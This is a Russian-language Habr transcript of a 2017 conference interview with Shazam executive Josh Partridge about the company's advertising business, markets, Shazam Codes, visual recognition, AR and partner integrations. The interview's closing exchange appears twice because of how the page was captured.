Мы не только нашим пользователям рассказываем, как они могут применять новые функции, но и с брендами работаем, объясняя, какие преимущества им дают новые технологии. Уже сегодня запускаются большие кампании, скоро их станет ещё больше. В России эти форматы скоро тоже будут использоваться в полной мере. Пока не могу выдать вам конкретику, скажу только, что кампании действительно масштабные.

А другие платформы? У вас есть приложение для Apple Watch, iMessage. Куда планируете двигаться дальше? Может быть, Facebook Messenger?

Я сегодня говорил, мы постоянно ищем способы… Знаете, если наши пользователи хотят использовать Shazam для решения той или иной задачи и для этого требуется новая технология, мы стремимся делать так, чтобы эта технология была им доступна. Так что мы всегда рассматриваем что-то новое.

Вы упомянули iMessage, это была одна из самых первых наших интеграций. Равно как и Apple Watch. Мы оцениваем появляющиеся технологии в контексте нашего бизнеса, решаем, будет ли создаваемое решение масштабируемым, и нужно ли оно нашим пользователям. Если идея кажется хорошей, мы её реализуем. В данный момент, ничего такого на горизонте нет. Но в будущем что-то ещё такое будет, я уверен.

Виртуальная реальность вас привлекает? Будет ли Shazam работать в VR?

Мы больше фокусируемся на дополненной реальности, а не на VR. Как я уже говорил, недавно мы запустили пару больших кампаний с использованием AR, одну в США, вторую – в Австралии. Там используются QR-коды, открывающие доступ к дополненной реальности. В России скоро тоже запустится подобная кампания. Так что мы больше занимаемся дополненной реальностью, а не виртуальной.

Можете вспомнить ваш самый худший день в Shazam?

Дело в том, что у нас плохих дней вообще не бывает. С нашими темпами роста, инвестициями, масштабированием. Когда я пришёл в Shazam, моя команда состояла из одного человека. Сегодня людей под моим началом гораздо больше, и мы выходим на новые рынки.

Все в Shazam обожают свою работу. Я-то уж точно влюблён в неё. Так что плохих дней у меня не бывает. Бывают сложные дни, но не плохие. И это хорошо. Что такое плохие дни на работе я помню из своего предыдущего опыта. Я 6 лет работал в Yahoo…

Там у вас были плохие дни?

Вообще-то, нет, плохие дни были раньше, ведь я долгое время работал в сфере финансов. Но, к счастью, мне повезло, я нашёл работу в Yahoo и Shazam. Я люблю то, что я делаю, и считаю, что мне крупно повезло.

Вспомнишь какое-нибудь решение или проект, который, не «выстрелил» в Shazam?

В нашей отрасли важно принимать решения быстро. У нас своеобразный образ мыслей: если что-то не сработало, нельзя говорить, что это провал. Надо пытаться, делать снова, но уже лучше. В этом вся прелесть работы в сфере мобайла. Что-то попробовали – не сработало — изменили стратегию — получили опыт.

Не думаю, что в Shazam у нас были провалы. Что-то получалось лучше, что-то — хуже, но мы всегда учились. Индустрия мобайла прекрасна тем, что у нас есть такая возможность — постоянное движение вперёд, совершенствование. В более традиционных индустриях только стадия планирования может растянуться на пару лет, здесь же всё совсем иначе. Попробовали что-то сделать, не получилось, наработали опыт, который позволит в следующий раз сделать это лучше. Это глобальное отличие. Так что никаких провалов у нас не было.

Думаю, на этом и закончим. Было приятно пообщаться.

Подписывайтесь на наш youtube-канал, чтобы смотреть больше интервью с экспертами мобильной индустрии. Например, в плейлисте Mobio Talks можно посмотреть интервью с Ириной Шашкиной (LinguaLeo), Максом Донских (Game Insight) и Дмитрием Навошей (Sports.ru).
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330432/


Метки:  

Интервью с Джошем Патриджем (Shazam) про маркетинг, бизнес, стратегию и новые продукты

Четверг, 08 Июня 2017 г. 11:54 + в цитатник
На конференции MBLT 2017 основатель Mobio Алексей Писаревский взял интервью у Джоша Патриджа (Josh Partridge), вице-президента Shazam по странам EMEA, Латинской Америки и Канады.





Джош рассказал о стратегии Shazam в мире, интеграции со Snapchat, Shazam Codes, как альтернативе QR-кодам, визуальном распозновании изображений Shazam Visuam, Shazam AR и о многом-много другом. В видео присутствуют русские субтитры, а под катом можно прочитать текстовую расшифровку.


В своей презентации ты рассказал про Shazam для брендов, этот сервис доступен в 50-60 странах. Как справляетесь с такой географией? Чтобы продавать брендам, нужны продажники, офисы на местах.

Ну, мы практикуем пару подходов. У нас есть команды на местах: офисы в США, Великобритании, а недавно мы открыли офис в Берлине. В других странах мы работаем через местных партнёров. В России, например, это компания Brainrus. Их сотрудники разговаривают с медиа-агентствами, выясняют, как бренды могут использовать рекламные возможности Shazam, наши технологии и доступ к аудитории.

Какой рекламный формат наиболее востребован брендами?

Мы предлагаем традиционную баннерную рекламу в нашем приложении. Есть ещё Shazam Connect, решение, позволяющее использовать наши технологии распознавания и задействовать в подаче рекламного сообщения «второй экран». Работает в связке с рекламой и контентом, транслируемым по ТВ. Кроме того, мы недавно запустили распознавание образов (Visual Shazam), так что теперь можно «шазамить» изображения.


(Рекламная кампания с Кока-Кола, источник: www.shazam.com)

Пример работы в России — недавнее сотрудничество с Nescafe, в рамках которого мы настроили распознавание видео выступлений танцоров, которые соревновались в большом танцевальном реалити-шоу. Зрители могли «шазамить» танцы и получать дополнительную информацию. Проект длился 10 недель, за это время зрители воспользовались фичей более полумиллиона раз.


Рекламная кампания с Макдонадс, источник: www.shazam.com

С точки зрения продаж брендам, какие страны имеют наибольшее значение? За исключением США, конечно.

У нас есть пользователи в 190 странах, работа на такой обширной географии — сложная задача для небольшой компании. Поэтому мы ведём активную деятельность на примерно 45 из этих рынков. В Северной и Южной Америке есть хороший объём, также можно говорить о больших рынках в Европе: Великобритания, Франция, Германия, Италия, Испания. Это основа нашего бизнеса. Россия тоже имеет для нас большое значение.

Кстати, интересный факт о России: я начал работать в Shazam три года назад, и тогда Россия не входила в топ-20 наших рынков. Но за последние полтора года ваша страна вошла в топ-5.

С точки зрения размера аудитории?

Да, по количеству пользователей.

Но не по выручке, я думаю. Этого ещё не случилось.

Да, вы правы. Сначала — пользователи, потом — всё остальное. Мы активно работаем в России вот уже год, и результаты получаем очень хорошие. Темпы развития нам очень нравятся.

А как дела обстоят на развивающихся рынках? В Африке, например.

У нас всё очень неплохо в ЮАР. В Африке, как вы понимаете, проблема в распространенности смартфонов. В ЮАР с этим порядок, равно как и в Нигерии. В других африканских странах ситуация похуже. Но, очевидно, Северная Африка и Ближний Восток нам интересны, мы там активно работаем.

Сложно ли продавать интеграцию брендам? Насколько я понимаю, это длительный процесс, каждая интеграция — отдельный проект, так?

Хороший вопрос. У нас есть разные рекламные продукты, некоторые из них, как вы верно отметили, — отдельные проекты, и их продажа требует больше времени. Но у нас также есть и готовые решения. То есть и сложные форматы, и простые, «коробочные». Это позволяет нам начинать с малого и потом предлагать более специализированные решения по мере роста нашего присутствия на рынке.

Думаю, мы можем быстро и просто решать две задачи: объяснять клиенту, что такое Shazam и как наши технологии могут помочь ему установить контакт с потребителем. Shazam — звено, связывающее музыку и мобильное устройство. Благодаря технологиям распознавания музыки и визуальных образов мы даём брендам возможность «попасть» в мобильное устройство потребителя через их рекламу на ТВ, в печатных изданиях, упаковку продуктов.

Планируете ли вы открыть новые офисы продаж?

Конечно! Офис в Германии мы открыли в этом месяце, команда там соберётся в течение апреля – июня, так что к середине года это подразделение начнёт полноценную работу. Планируем открыть офисы и в других странах. Тут дело в том, что расти нам надо ответственно, мы небольшая компания, поэтому всегда ищем прибыль. Но расширение, конечно, наш приоритет.

Недавно вы объявили о партнёрстве с DanAds, платформой для паблишеров, которая позволяет клиентам закупать рекламу самостоятельно. Значит ли это, что скоро в Shazam рекламодатели будут самостоятельно закупать рекламу?

Сейчас об этом рано говорить. Сделка с DanAds была заключена в контексте нашей работы с лейблами. Лейблы — Sony, Universal, Warner, некоторые менее крупные звукозаписывающие компании — любят продвигать новые альбомы, синглы. Мы даём им доступ к этой платформе, там они настраивают свои кампании так, как им требуется, с учётом всех таргетинговых критериев. Так что здесь речь больше идёт о наших отношениях с лейблами.

А что есть для более традиционных рекламодателей, скажем, разработчиков приложений?

Мы с удовольствием работаем с агентствами, выполняем «традиционные» заказы. Кроме того, мы активно сотрудничаем с рекламными биржами. То есть купить рекламу в Shazam можно любым удобным для рекламодателя способом. Хотите — через биржу, хотите — через наши офисы продаж.

А платформу, позволяющую разработчикам приложений самостоятельно выкупать у вас рекламные места, запускать не планируете?

Не сейчас. На данном этапе, мы фокусируемся на работе с лейблами. Бренды уже имеют доступ к нашим рекламным форматам. Та система, о которой ты говоришь, она как бы уже есть, только реализована программатик-площадками. При этом, есть и специфические форматы рекламы, которые можно купить только напрямую у нас.

Скажите, почему у Shazam до сих пор нет настоящих конкурентов? В чём секрет? У вас уникальная технология, или же вы просто были первыми на этом рынке?

Думаю, тут работает пара факторов. В первую очередь, конечно, технология. Мы распознаем быстрее и точнее, чем кто-либо ещё.

И что, никто ничего подобного сделать не может?

Именно так. Мы лидеры на рынке распознавания музыки. Второй фактор — бренд. Слово Shazam уже часто используется как глагол, «шазамить», и люди знают, что это значит.

В общем, уникальная ситуация, плюс технология, плюс узнаваемость бренда и функции. «Шазамить» и получать результат — пользователи уже воспринимают этот процесс как магию. Всё это вместе делает наше приложение уникальным, поэтому мы и лидеры в своей сфере.

А почему Shazam не распознает песню, если я сам ее пою?

Shazam «заточен» на точность. Мы много сил тратим на развитие технологии, наращивание базы данных. Когда пользователь «шазамит» песню, он получает абсолютно достоверную информацию. Распознавание напетых мотивов не позволяет обеспечивать такую точность. В этом вопросе мы предпочитаем никогда не ошибаться и не выдавать предположения типа «похоже, вы спели такую-то песню».

Люди пользуются Shazam, потому что мы даём им достоверную информацию. В своей презентации я упоминал телешоу Beat Shazam, которое скоро начнётся в США. В этой передачи участники будут пытаться угадать песни быстрее нашего сервиса. Нам нравится идея. Эта передача — отличный способ усилить наш бренд. При этом, конечно, само возникновение идеи доказывает, что выдаваемые нами результаты невероятно точны.

Планируете ли вы запустить Beat Shazam в других странах?

В США передача выходит на канале Fox. Очевидно, запустить такое же шоу в других странах было бы здорово, но пока об этом речи не идёт. Шоу начинается летом, продюсерами выступили ребята, которые делали The Apprentice и Survivor. В частности, Марк Бернетт (Mark Burnett). Возможно, в других странах тоже сделаем что-то подобное, но пока шоу транслируется только в США.



В декабре прошлого года вы интегрировались со Snapchat. Можешь поделиться первыми результатами?
Пока всё на начальном этапе, интегрировались всего несколько месяцев назад. Мы активно пока не продвигали Shazam в Snapchat. Но результаты и без продвижения уже ошеломляют. Конкретно о цифрах ничего не могу сказать, но функцией распознавания музыки в Snapchat уже воспользовались миллионы раз. (Посмотреть как это работает можно здесь)

И это только начало, вместе со Snapchat в будущем мы наверняка сможем сделать ещё больше интересного.

Есть ли в планах интегрироваться с другими приложениями?

Да. Сейчас мы фокусируемся на интеграции для Samsung Smart TV, о которой было объявлено на конференции SXSW. На предстоящий год это наш приоритет. Ну и Snapchat, тоже очень большой проект. В данный момент, других планов нет, этих двух пока достаточно.

А как думаешь, почему QR-коды в итоге не стали популярными?

Я считаю, эта технология появилась преждевременно. Пять-шесть лет назад смартфоны ещё не были чем-то обыденным. Кроме того, в 2011-2012 годах рынок мобильных приложений был совсем небольшой, большинство пользователей ограничивались браузером на своих мобильных устройствах.

То есть и технологически, и идеологически рынок не был готов, люди тогда ещё не «погрузились в мобайл» с головой, как сегодня. Недавно мы, кстати, запустили Shazam Codes

Да, как раз хотел спросить вас, чем ваши коды лучше.

Тут можно говорить о двух причинах. Во-первых, сегодня люди используют смартфон как универсальное устройство, связующее всё и вся. Это важно.

Во-вторых, раньше никто не скачивал считыватель QR-кодов на свой смартфон. Мы же понимаем, что никто не хочет скачивать приложение для того, чтобы взаимодействовать с брендом. А коды Shazam будут работать потому, что у нас уже есть огромная база пользователей, они узнают лого Shazam и знают, что делает наше приложение.

В итоге: привычка в совокупности с необходимостью использования смартфонов и уже собранной аудиторией дает в результате масштабируемое решение, которое может быть полезно брендам.


(Shazam Code, источник: www.shazam.com)

Контент, распознаваемый Shazam, можно создавать бесплатно?

Shazam умеет считывать QR-коды, но если говорить о Shazam-кодах, это рекламный формат, так что бренды платят за его использование. В будущем всё может измениться, конечно. Но на данном этапе, мы фокусируемся на рекламном применении.

Много клиентов купили рекламу в этом формате?

Да! Перед Shazam Codes мы запустили Visual Shazam и начали работать с крупнейшими брендами. Например, в США мы сделали распознаваемыми 600 млн бутылок колы. Помимо Shazam Codes и Visual Shazam, мы сделали Shazam AR, так что в работу с визуальными образами мы вкладываемся серьёзно.

Мы не только нашим пользователям рассказываем, как они могут применять новые функции, но и с брендами работаем, объясняя, какие преимущества им дают новые технологии. Уже сегодня запускаются большие кампании, скоро их станет ещё больше. В России эти форматы скоро тоже будут использоваться в полной мере. Пока не могу выдать вам конкретику, скажу только, что кампании действительно масштабные.

А другие платформы? У вас есть приложение для Apple Watch, iMessage. Куда планируете двигаться дальше? Может быть, Facebook Messenger?

Я сегодня говорил, мы постоянно ищем способы… Знаете, если наши пользователи хотят использовать Shazam для решения той или иной задачи и для этого требуется новая технология, мы стремимся делать так, чтобы эта технология была им доступна. Так что мы всегда рассматриваем что-то новое.

Вы упомянули iMessage, это была одна из самых первых наших интеграций. Равно как и Apple Watch. Мы оцениваем появляющиеся технологии в контексте нашего бизнеса, решаем, будет ли создаваемое решение масштабируемым, и нужно ли оно нашим пользователям. Если идея кажется хорошей, мы её реализуем. В данный момент, ничего такого на горизонте нет. Но в будущем что-то ещё такое будет, я уверен.

Виртуальная реальность вас привлекает? Будет ли Shazam работать в VR?

Мы больше фокусируемся на дополненной реальности, а не на VR. Как я уже говорил, недавно мы запустили пару больших кампаний с использованием AR, одну в США, вторую – в Австралии. Там используются QR-коды, открывающие доступ к дополненной реальности. В России скоро тоже запустится подобная кампания. Так что мы больше занимаемся дополненной реальностью, а не виртуальной.

Можете вспомнить ваш самый худший день в Shazam?

Дело в том, что у нас плохих дней вообще не бывает. С нашими темпами роста, инвестициями, масштабированием. Когда я пришёл в Shazam, моя команда состояла из одного человека. Сегодня людей под моим началом гораздо больше, и мы выходим на новые рынки.

Все в Shazam обожают свою работу. Я-то уж точно влюблён в неё. Так что плохих дней у меня не бывает. Бывают сложные дни, но не плохие. И это хорошо. Что такое плохие дни на работе я помню из своего предыдущего опыта. Я 6 лет работал в Yahoo…

Там у вас были плохие дни?

Вообще-то, нет, плохие дни были раньше, ведь я долгое время работал в сфере финансов. Но, к счастью, мне повезло, я нашёл работу в Yahoo и Shazam. Я люблю то, что я делаю, и считаю, что мне крупно повезло.

Вспомнишь какое-нибудь решение или проект, который, не «выстрелил» в Shazam?

В нашей отрасли важно принимать решения быстро. У нас своеобразный образ мыслей: если что-то не сработало, нельзя говорить, что это провал. Надо пытаться, делать снова, но уже лучше. В этом вся прелесть работы в сфере мобайла. Что-то попробовали – не сработало — изменили стратегию — получили опыт.

Не думаю, что в Shazam у нас были провалы. Что-то получалось лучше, что-то — хуже, но мы всегда учились. Индустрия мобайла прекрасна тем, что у нас есть такая возможность — постоянное движение вперёд, совершенствование. В более традиционных индустриях только стадия планирования может растянуться на пару лет, здесь же всё совсем иначе. Попробовали что-то сделать, не получилось, наработали опыт, который позволит в следующий раз сделать это лучше. Это глобальное отличие. Так что никаких провалов у нас не было.

Думаю, на этом и закончим. Было приятно пообщаться.

Подписывайтесь на наш youtube-канал, чтобы смотреть больше интервью с экспертами мобильной индустрии. Например, в плейлисте Mobio Talks можно посмотреть интервью с Ириной Шашкиной (LinguaLeo), Максом Донских (Game Insight) и Дмитрием Навошей (Sports.ru).
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330432/


Метки:  

Поиск сообщений в rss_rss_hh_full
Страницы: 1824 ... 1354 1353 [1352] 1351 1350 ..
.. 1 Календарь